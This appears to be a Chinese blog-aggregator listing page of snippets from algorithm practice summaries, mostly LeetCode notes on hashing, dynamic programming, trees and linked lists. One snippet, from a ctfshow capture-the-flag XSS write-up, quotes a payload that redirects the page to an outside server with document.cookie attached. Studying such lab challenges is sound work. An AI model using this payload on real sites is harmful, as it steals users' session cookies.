刷题总结

力扣刷题总结 哈希表（1）

博客主页：A_SHOWY系列专栏：力扣刷题总结录数据结构云计算242.有效字母的异位词easy哈希映射（数组），排序算法383.救赎金easy暴力，两个for循环两遍，哈希和242题基本一样349.两个数组的交集
A_SHOWY·2023-12-05 05:45

详谈时间复杂度

博客主页：A_SHOWY系列专栏：力扣刷题总结录数据结构云计算一、什么是时间复杂度简单来说，时间复杂度描述的一个算法的运行时间，它其实是一个函数。
A_SHOWY·2023-12-05 05:45

启动 AWS Academy Learner Lab【教学】（Hadoop实验）

博客主页：A_SHOWY系列专栏：力扣刷题总结录数据结构云计算第一部分创建实例过程首先，需要创建3台EC2，一台作主节点(masternode)，两台作从节点(slavesnode)。
A_SHOWY·2023-12-05 05:36

Two Sum--leecode刷题总结

Givenanarrayofintegersnumsandanintegertarget,returnindicesofthetwonumberssuchthattheyadduptotarget.Youmayassumethateachinputwouldhaveexactlyonesolution,andyoumaynotusethesameelementtwice.Youcanreturnt
photoelectricism·2023-11-30 05:12

leecode刷题总结--动态规划

1关键是知道第i个与第i-1之间的关系。用i=0的两种可能，得到i=1的两种可能，依次递推，一直到n的两种可能，在取两个可能的最大值。2要上一个，还是自立门户贪心。3直接递归方法会超时，开一个数组存放。4缓存，使用Pair.creat（i，j)存储进hashmap；5到达i则只能从i-1，或者i-2过来。分别加上i-1，i-2的值取最小。6暂存更新一个最小值。就两种可能持股不持股，i和i-1的关系
mmxgl·2023-11-30 05:09

leecode刷题总结

136.只出现一次的数字难度简单1981收藏分享切换为英文接收动态反馈给定一个非空整数数组，除了某个元素只出现一次以外，其余每个元素均出现两次。找出那个只出现了一次的元素。说明：你的算法应该具有线性时间复杂度。你可以不使用额外空间来实现吗？示例1:输入:[2,2,1]输出:1示例2:输入:[4,1,2,1,2]输出:4思路：这道题思路非常的巧妙，通过异或运算，因为两个相同的值异或为0，所以最后的值
景景景景色分明.·2023-11-30 05:38

LeetCode刷题总结（1）--栈、队列、堆

队列:先进先出栈:先进后出堆(优先队列):逻辑结构上是完全二叉树结构，其中每个字数的最大值(最小值)节点是头节点。实际结构常用数组实现。建立一个大根堆时间复杂度O(n)基础题1.数组实现栈、队列；实现堆排序栈classArrayStack{intmaxSize;inttop;int[]stack;publicArrayStack(intmaxSize){this.maxSize=maxSize;t
DopaM1ne·2023-11-29 23:09

智力题刷题总结

第一组第一题农夫需要把狼、羊、菜和自己运到河对岸去，只有农夫能够划船，而且船比较小，除农夫之外每次只能运一种东西，还有一个棘手问题，就是如果没有农夫看着，羊会偷吃菜，狼会吃羊。请按照下列顺序选择合理过河方法（）A：农夫单独过河B：农夫带狼过河C：农夫带羊过河D：农夫带菜过河E：农夫单独返回F：农夫带狼返回G：农夫带羊返回H：农夫带菜返回答案：两种方法，方法1：CEBGDEC；方法2：CEDGBEC
＿五奕·2023-11-27 20:21

Leetcode刷题总结-2.动态规划篇

Leetcode刷题总结动态规划算法刷题心得、总结文章目录Leetcode刷题总结前言一、动态规划题思路总结前言动态规划和贪心算法有一些相似之处，但是也有一些区别，动态规划中每一个状态一定是由上一个状态推导出来的
问凝·2023-11-26 16:01

ctfshow XSS刷题总结

简介这次把爪牙伸到了xss嘿嘿嘿开始日咯！web316用xss平台怎么也爆不出。。。可能是姿势不对用最原始的方法吧在自己的服务器上写一个hack.phpdocument.location.href='http://wgm1yk1.nat.ipyingshe.com/x.php?1='+document.cookieweb317今天学习了一款xss自动扫描的工具XSStrike似乎很好用的呢直接跑出
b1ue0cean·2023-11-22 15:42

算法Day60 | 84.柱状图中最大的矩形，刷题总结

Day6084.柱状图中最大的矩形刷题总结84.柱状图中最大的矩形题目链接：84.柱状图中最大的矩形遍历每个元素，找到左右元素小于当前元素的，以左右元素间的区间（左开右开区间）所围成的面积中的最大值。
雨后的放线君·2023-11-22 05:26

2021秋招-算法-递归

算法-递归教程:⭐告别递归，谈谈我的一些经验LeetCode刷题总结-递归篇基础框架leetcode刷题1.leetcode-101.对称二叉树-简单101.对称二叉树给定一个二叉树，检查它是否是镜像对称的
LBJ_King2020·2023-11-22 05:42

2021秋招---leetcode-总结

leetcode树-他人总结LeetCode刷题总结-树篇（上）LeetCode刷题总结-树篇（中）leetCode刷题总结-树篇（下）递归-他人总结leetcode刷题总结之递归LeetCode刷题总结
LBJ_King2020·2023-11-22 05:37

leetcode之分治刷题总结1

leetcode之分治刷题总结11-多数元素题目链接：题目链接戳这里！！！思路1：因为多数元素就一个，直接升序排序，返回中间那个值，一定是升序元素。
nuist__NJUPT·2023-11-20 22:49

代码随想录LeetCode | 链表刷题总结II

前沿：撰写博客的目的是为了再刷时回顾和进一步完善，其次才是以教为学，所以如果有些博客写的较简陋，是为了保持进度不得已而为之，还请大家多多见谅。预：看到题目后的思路和实现的代码。见：参考答案展示。感思：对比答案后的思考，与之前做过的题目是否有关联。行：（1）对于没做出来的题目，阅读答案后重新做一遍；（2）下次做题可以尝试改善的方向；（3）有助于理解的相关的题目1.两两交换链表中的节点题目链接：24.
风吹衣ou·2023-11-20 19:25

力扣刷题总结

文章目录1.位运算[260.只出现一次的数字III](https://leetcode-cn.com/problems/single-number-iii/)[面试题05.06.整数转换](https://leetcode-cn.com/problems/convert-integer-lcci/)2.二分查找[704.二分查找](https://leetcode-cn.com/problems/
程序员James·2023-11-20 00:42

Java刷题总结 —— 数组-二叉树篇

开个贴记录自己在刷leetcode时部分题目的思路，以及在编写时漏掉的一些代码细节，学习到的一些代码技巧~~一、数组1.二分法704主要用到了二分法进行查找，注意左右边界的选择（我选左闭右开），此外就是在求中间的下标时，定义intmiddle=left+(right-left)/2效果等同于(left+right)/2，但是用前者可以防止溢出，例如left和right都是最大int时，left+r
白天摸鱼玩耍夜晚添砖Java·2023-11-18 19:56

[力扣刷题总结](图,DFS和BFS篇)

文章目录~~~~~~~~~~~~图~~~~~~~~~~~~1034.边界着色解法1：DFS****图:有向无环图DAG****207.课程表解法1：拓扑排序（广度优先遍历）解法2：DFS210.课程表II解法1：BFS解法2：DFS851.喧闹和富有解法1：拓扑排序（BFS）解法2：DFS802.找到最终的安全状态解法1：拓扑排序（BFS）解法2：DFS797.所有可能的路径解法1：回溯+DAG7
姬霓钛美·2023-11-17 10:33

LeetCode刷题总结C++-数组篇（中）

LeetCode刷题总结C++-数组篇（中）本文接着上一篇文章《LeetCode刷题总结C++-数组篇(上)》，继续讲第二个常考问题：矩阵问题。矩阵也可以称为二维数组。
Pancy93·2023-11-15 15:07

LeetCode刷题总结C++-数组篇（上）

参考博客https://home.cnblogs.com/u/liuzhen1995/，题解换成C++LeetCode刷题总结-数组篇（上）数组是算法中最常用的一种数据结构，也是面试中最常考的考点。
Pancy93·2023-11-15 15:37

Leetcode刷题总结：121. Best Time to Buy and Sell Stock

题目：Sayyouhaveanarrayforwhichtheithelementisthepriceofagivenstockondayi.Ifyouwereonlypermittedtocompleteatmostonetransaction(ie,buyoneandselloneshareofthestock),designanalgorithmtofindthemaximumprofit.
weixin_30906671·2023-11-14 19:54

LeetCode刷题总结——并查集

并查集并查集的引入并查集的核心思想是用集和中的一个元素来代表这个集和\textcolor{red}{用集和中的一个元素来代表这个集和}用集和中的一个元素来代表这个集和,相信大家肯定玩过球球大作战或者贪吃蛇大作战吧，为了方便理解，我们把这个集和比作为此刻你的蛇的总体，代表元素是蛇头，规则很简单，两个蛇如果相遇，则大蛇吃掉小蛇(不考虑蛇头撞到蛇身哈，只判断大小就好)，这时候，从并查集的角度理解，大蛇合
moon_清欢·2023-11-12 06:08

Leetcode刷题总结

leetcode刷题总结1-201、两数之和（1）空间换时间。（2）map类型的使用：maptable;key类似于vector中的下标。
hhhhge·2023-11-11 14:05

LeetCode刷题总结（一）

文章目录前言题型排序问题动态规划前言本文把刷题过程中的总结记下来，方便未来回顾的时候继续拓展。题型排序问题排序问题的解决方法有很多。对于简单算法来说，最重要的是记住思路；对于高级算法来说，最重要的是记住细节。简单的算法比如选择、冒泡、插入排序，他们的时间复杂度都是O(n2)O(n^2)O(n2)，所以就算是后面高级的排序算法需要用子排序算法时，我们也不会使用这种高时间复杂度的排序算法。对于这种算法
赛文忆莱文·2023-11-11 05:26

LeetCode刷题总结-动态规划篇

LeetCode刷题总结-动态规划篇本文总结LeetCode上有动态规划的算法题，推荐刷题总数为54道。
阿彬在上路·2023-11-08 06:57

二叉树刷题学习笔记1——框架

上一篇：数据结构与算法——树文章目录总结数据遍历框架普通数组链表遍历：二叉树的遍历框架如下：二叉树刷题总结二叉树解题的思维模式可以总结为以下：如果是通过遍历一遍二叉树得到的答案，这种是遍历的思维模式如果是通过子问题推导得到原问题答案的
@@老胡·2023-11-02 13:44

[Crypto RSA]刷题总结 23/10/31

FSCTF2023[ezRSA]题目描述fromCrypto.Util.numberimport*fromsecretimportflagdefkeygen(nbit=64):whileTrue:k=getRandomNBitInteger(nbit)p=k**6+7*k**4-40*k**3+12*k**2-114*k+31377q=k**5-8*k**4+19*k**3-313*k**2-14
不想学密码的程序员不是好的攻城狮·2023-11-01 02:41

撕烂数据爆锤算法：LeetCode刷题记录之链表

LeetCode刷题总结——链表前言正文一、链中是否有环二、只能出现一次三、两相邻交换四、k倍翻转五、不要重复的六、环的入口七、合并链表八、表中翻转尾言小小推荐前言这里记录了有关链表知识的我不会解的和我认为值得收藏的编程题目及题解
.最小生成树·2023-11-01 02:06

力扣每日一题刷题总结：链表篇（持续更新）

19.删除链表的倒数第N个结点Medium快慢指针、栈2021/11/19给你一个链表，删除链表的倒数第n个结点，并且返回链表的头结点。示例：输入：head=[1,2,3,4,5],n=2输出：[1,2,3,5]方法一：最容易想到的，先求链表长，再正序遍历找到要删除结点的前驱结点，然后删除。（这里使用了dummy辅助头结点，可以方便解决只有一个元素的情况）classSolution{public:
Villanelle#·2023-10-30 05:05

【力扣刷题总结】

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言1、找到数组的中间位置2、杨辉三角II3、三数之和4、验证回文串5、最长公共前缀6、反转字符串中的单词III7、找出字符串中第一个匹配的下标8、整数反转9、盛最多水的容器10、删除有序数组中的重复项II11、在排序数组中查找元素的第一个和最后一个位置12、两数之和II-输入有序数组13、排列硬币14、找不同15、判断子序列
温柔何曾赋我·2023-10-29 07:00

leetcode刷题总结

1、详述hosts文件的作用及修改hosts文件的方法https://blog.csdn.net/qq_35246620/article/details/669702112、python中的除法，取整和求模https://blog.csdn.net/huzq1976/article/details/51581330运算符补充&按位与运算符，====在二进制级别对两个数进行与运算对于每一位，如果两个
guanyan3009·2023-10-28 11:54

多线程刷题总结

刷题地址题库-力扣(LeetCode)全球极客挚爱的技术成长平台知识点总结CountDownLatchCountDownLatch详解以及用法示例_三寸旧城。的博客-CSDN博客AtomicInteger原子操作类AtomicInteger详解-CSDN博客
小吕学编程·2023-10-26 17:45

leetcode刷题总结

专栏专栏c语言基础数据结构与算法博客分类数据结构算法leetcode总结错题面试题10.02.变位词组罗马数字转整数c语言基础二维数组sizeof的用法宏定义：取最大值MAX&MINC语言中字符数组与字符串http://c.biancheng.net/cpp/html/2921.html字符数组只有在定义时才能将整个字符串一次性地赋值给它，一旦定义完了，就只能一个字符一个字符地赋值了charstr
进击的小豪·2023-10-26 05:04

LeetCode刷题总结 - 面试经典 150 题 -持续更新

LeetCode刷题总结-面试经典150题-持续更新其他系列数组/字符串88.合并两个有序数组27.移除元素283.移动零26.删除有序数组中的重复项80.删除有序数组中的重复项II169.多数元素189
coderzpw·2023-10-22 21:55

【笔记】动态规划总结 2.0

【笔记】动态规划刷题总结2.0个人心得问题本质动态规划名字看起来高大上，感觉是种很复杂的算法，令人“望文生畏”，其实一句话概括，就是数学归纳法，推公式。
Edison在努力·2023-10-22 15:50

LeetCode刷题总结C++-数组篇（下）

LeetCode刷题总结C++-数组篇（下）本期讲O(n)类型问题，共14题。3道简单题，9道中等题，2道困难题。数组篇共归纳总结了50题，本篇是数组篇的最后一篇。
Pancy93·2023-10-22 00:11

leetcode数组汇总_LeetCode刷题总结-数组篇（下）

本期讲O(n)类型问题，共14题。3道简单题，9道中等题，2道困难题。数组篇共归纳总结了50题，本篇是数组篇的最后一篇。其他三个篇章可参考：本系列50道题是作者在LeetCode题库数组标签中包含的202道题中，按照解答考点分类归纳总结的题型。解法仅供参考，主要在于题目和考点的分类。希望对准备刷LeetCode，而感觉题目繁多、标签太多、时间较少，不知道从何开始刷题的同学一点小小的帮助^~^，也是
Boresight·2023-10-22 00:11

LeetCode刷题总结：二叉树（待续~）

LeetCode刷题总结：二叉树1、经典代码段1.1、建立二叉树1.2、遍历二叉树1.2.1、层次遍历1.2.2、先序遍历1.2.3、中序遍历1.2.4、后序遍历1.3、重构二叉树2、总结1、经典代码段树是一种常见的数据结构
牛顿爱吃香蕉·2023-10-21 15:25

Leetcode刷题总结——字符串

一、反转字符串二、替换空格替换空格以后，字符串所占的长度会比原字符串多，所以我们首先需要扩充数组到每个空格替换成“%20”之后的大小。然后从后向前替换空格，（双指针法）一个指针指向新长度的末尾，一个指针指向旧长度的末尾之所以选择从后向前，是因为从前向后填充是O（n^2）的算法，因为每次添加元素都要将添加元素之后的所有元素向后移动。注：很多数组填充类的问题，都可以预先给数组扩容到填充后的大小，然后再
紫薯地瓜周·2023-10-20 09:06

AtCoder abc232 刷题总结

A-QQsolver题目翻译给你一个由三个字符组成的字符串，就是两个字符之间有一个x，两边的字符介于1和9之间。题目解析淼题速切，不解释。正确代码#includeusingnamespacestd;intmain(){chara,b;scanf("%cx%c",&a,&b);coutusingnamespacestd;chars[100005],t[100005];longlongc[100005
zswangziye·2023-10-19 19:31

leetcode二叉树刷题总结

文章目录一.基础理论1.刷题大纲2.二叉树的定义3.二叉树的分类满二叉树完全二叉树二叉搜索树平衡二叉搜索树4.二叉树的遍历方式4.1深度优先遍历4.2广度优先遍历二.二叉树的遍历方式1.递归法T144.前序遍历T145.后序遍历T94.中序遍历2.迭代法T144.前序遍历T145.后序遍历T94.中序遍历3.统一迭代法T94.中序遍历4.层序遍历4.1迭代法4.2递归法三、二叉树的属性T101.对
studyForMonkey·2023-10-18 22:08

leetcode 二叉树部分刷题的一些总结

Leetcode二叉树刷题总结二叉树的认识二叉树的遍历二叉树的认识二叉树是指最多只有两个节点分支的一颗树，习惯性得将一个节点的两个孩子记做左孩子以及右孩子。
快点毕业吧·2023-10-18 22:05

数据结构与算法_leetcode刷题总结

一、数据结构1.1链表1.1.1增删查改；1.1.2翻转链表：（1）头插法；（2）尾插法；1.1.3判断有无环、环的起始节点：（2）快慢指针；（2）哈希表；1.1.4通用技巧：（1）快慢指针；（2）当头结点不确定时，建立dummy使得dummy->next=head；1.2栈与队列1.2.1二叉树的非递归遍历：（1）前序；（2）中序；（3）后序；1.2.2栈实现队列、队列实现栈：（1）翻转来翻转去
modelTSS·2023-10-17 23:36

近期刷题总结 [19 03 17]

目录P3703[SDOI2017]树点涂色[LCT+线段树]CF739BAlyonaandatree[主席树]P4098[HEOI2013]ALO[双向链表+可持久化0/1trie]P5022旅行[基环树]P1453城市环路[基环树DP]CF837GFunctionsOnTheSegments[主席树]CF837DRoundSubset[DP]P2827蚯蚓[单调性证明][队列]P1850换教室[
FSYo·2023-10-17 20:43

动态规划——力扣+洛谷刷题总结

动态规划基本dpP1095守望者的逃离P3842.线段打家劫舍0-1背包0-1背包原理力扣0-1背包的应用416.分割等和子集1049.最后一块儿石头的重量494.目标和474.一和零完全背包完全背包原理完全背包的应用518.零钱兑换377.组合总和322.零钱兑换279.完全平方数139.单词拆分基本dpP1095守望者的逃离解题思路：先dp一下，闪现的距离，dp[i]表示：第i秒闪现能走多远（
一只闷闷杨·2023-10-17 01:29

力扣刷题总结c++ 解题报告（持续更新中）

写这篇的初衷是整理复习一遍自己刷过的题目录1.两数之和2.两数相加3.无重复字符的最长子串5.最长回文子串6.Z字形变换7.整数反转8.字符串转换整数(atoi)9.回文数11.盛最多水的容器12.整数转罗马数字13.罗马数字转整数14.最长公共前缀15.三数之和16.最接近的三数之和19.删除链表的倒数第N个结点20.有效的括号21.合并两个有序链表23.合并K个升序链表还有分治、优先队列的解法
木木夕 _·2023-10-16 15:41

PTA刷题总结

L1-002打印沙漏：https://pintia.cn/problem-sets/994805046380707840/problems/994805145370476544解读1：本题首先结构大致是一个等差数列*2再减去多余的只有一个字符的那一列即每一组的字符总数为2Sn-1解读2：做这道题时陷入了一个思维陷阱里，首先我们每一层最后的两格空格不用考虑直接回车即可其次是直接打印即可不需要把值存到
七灵微·2023-10-16 12:51

Leetcode刷题总结-3.二叉树篇

Leetcode刷题总结二叉树刷题心得、总结文章目录Leetcode刷题总结前言一、二叉树刷题思路二、美团面试题2.1第十套卷面试题2.2第九套卷面试题三、华为研发工程师编程题四、华为2016研发工程师编程题前言二叉树有两种主要的形式
问凝·2023-10-15 15:03

LeetCode刷题总结 - LeetCode 热题 100 - 持续更新

LeetCode热题100其他系列哈希1.两数之和49.字母异位词分组128.最长连续序列双指针27.移除元素283.移动零11.盛最多水的容器剑指OfferII007.数组中和为0的三个数42.接雨水滑动窗口438.找到字符串中所有字母异位词3.无重复字符的最长子串字串560.和为K的子数组剑指Offer59-I.滑动窗口的最大值普通数组最大子数组和56.合并区间189.轮转数组238.除自身以
coderzpw·2023-10-14 11:34

代码随想录刷题总结

在写下最后一道单调栈的题目以后，我的随想录旅程也告一段落了。在两个月前，我正处于保研推免时期。一次偶然的机会，我看到了代码随想录训练营的报名链接，并毅然决然加入了训练营，从而提高自己的算法能力，来为梦校的机试做准备。在开始这段旅程之前，我对算法题基本是0基础，只刷过极少的题目。因此，我也在保研的机试中屡屡受挫。然而，我意识到，为了在机试中脱颖而出，我必须扩宽自己的知识面，提高算法题的解题能力。于是
white_0629·2023-10-11 10:59
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他